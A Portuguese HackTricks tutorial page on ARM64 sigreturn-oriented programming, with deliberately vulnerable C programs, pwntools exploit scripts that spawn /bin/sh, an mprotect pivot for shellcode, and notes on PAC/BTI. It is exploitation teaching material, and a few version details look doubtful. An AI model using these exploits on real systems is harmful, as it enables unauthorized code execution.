> [!TIP]
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Exemplo Pwntools
Este exemplo cria o binário vulnerável e o explora. O binário lê na pilha e então chama sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
exemplo de bof
Código
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Compile-o com:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
O exploit abusa do bof para retornar à chamada para sigreturn
e preparar a pilha para chamar execve
com um ponteiro para /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
exemplo de bof sem sigreturn
Código
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
Na seção vdso
é possível encontrar uma chamada para sigreturn
no offset 0x7b0
:
 (1).png)
Portanto, se vazar, é possível usar este endereço para acessar um sigreturn
se o binário não estiver carregando-o:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Para mais informações sobre vdso, consulte:
E para contornar o endereço de /bin/sh
, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:
Encontrando gadgets sigreturn
automaticamente (2023-2025)
Em distribuições modernas, o trampolim sigreturn
ainda é exportado pela página vDSO, mas o deslocamento exato pode variar entre versões do kernel e flags de compilação, como BTI (+branch-protection
) ou PAC. Automatizar sua descoberta evita a codificação rígida de deslocamentos:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Ambas as ferramentas entendem codificações AArch64 e listarão sequências candidatas mov x8, 0x8b ; svc #0
que podem ser usadas como o gadget SROP.
Nota: Quando os binários são compilados com BTI, a primeira instrução de cada alvo de ramificação indireta válida é
bti c
. Trampolinssigreturn
colocados pelo linker já incluem o pad de aterrissagem BTI correto, então o gadget permanece utilizável a partir de código não privilegiado.
Encadeando SROP com ROP (pivot via mprotect
)
rt_sigreturn
nos permite controlar todos os registradores de uso geral e pstate
. Um padrão comum em x86 é: 1) usar SROP para chamar mprotect
, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona no ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Após enviar o frame, você pode enviar um segundo estágio contendo código shell bruto em 0x400000+0x100
. Porque AArch64 usa endereçamento PC-relative, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
Validação do Kernel, PAC e Shadow-Stacks
O Linux 5.16 introduziu uma validação mais rigorosa dos frames de sinal do espaço do usuário (commit 36f5a6c73096
). O kernel agora verifica:
uc_flags
deve conterUC_FP_XSTATE
quandoextra_context
está presente.- A palavra reservada em
struct rt_sigframe
deve ser zero. - Cada ponteiro no registro extra_context está alinhado e aponta dentro do espaço de endereços do usuário.
pwntools>=4.10
cria frames compatíveis automaticamente, mas se você os construir manualmente, certifique-se de inicializar como zero reserved e omitir o registro SVE, a menos que você realmente precise dele—caso contrário, rt_sigreturn
entregará SIGSEGV
em vez de retornar.
Começando com o Android 14 mainstream e Fedora 38, o userland é compilado com PAC (Pointer Authentication) e BTI habilitados por padrão (-mbranch-protection=standard
). SROP em si não é afetado porque o kernel sobrescreve PC
diretamente do frame criado, contornando o LR autenticado salvo na pilha; no entanto, qualquer cadeia ROP subsequente que realiza ramificações indiretas deve pular para instruções habilitadas para BTI ou endereços PACed. Tenha isso em mente ao escolher gadgets.
Shadow-Call-Stacks introduzidos no ARMv8.9 (e já habilitados no ChromeOS 1.27+) são uma mitigação em nível de compilador e não interferem com SROP porque nenhuma instrução de retorno é executada—o fluxo de controle é transferido pelo kernel.
Referências
- Documentação de manipulação de sinal do Linux arm64
- LWN – "AArch64 branch protection comes to GCC and glibc" (2023)
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.